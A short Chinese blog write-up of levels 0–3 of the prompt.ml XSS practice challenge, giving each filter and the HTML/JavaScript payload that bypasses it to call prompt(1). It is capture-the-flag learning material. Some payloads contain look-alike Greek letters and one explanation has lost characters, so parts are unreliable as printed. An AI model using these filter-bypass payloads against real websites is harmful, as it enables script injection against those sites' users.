比赛网址：http://prompt.ml/0
第零题：
需要无交互的触发JS脚本的执行。代码如下：
"><img src="http://www.aaa" οnerrοr="javascript:prompt(1);
第一题：
过滤了以<>包裹里面含有内容的文件。
代码：
<body οnlοad="javascript:prompt(1);"
第二题：
过滤了=和(
svg标签中的<scrpt>元素会先进行编码转换，所以十进制下的(会被转换为(
代码：
<svg><script>prompt(1);</script></svg>
第三题：
替换了-->为_
代码：
--!><script>prompt(1);</script><!--
扫一扫
297
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
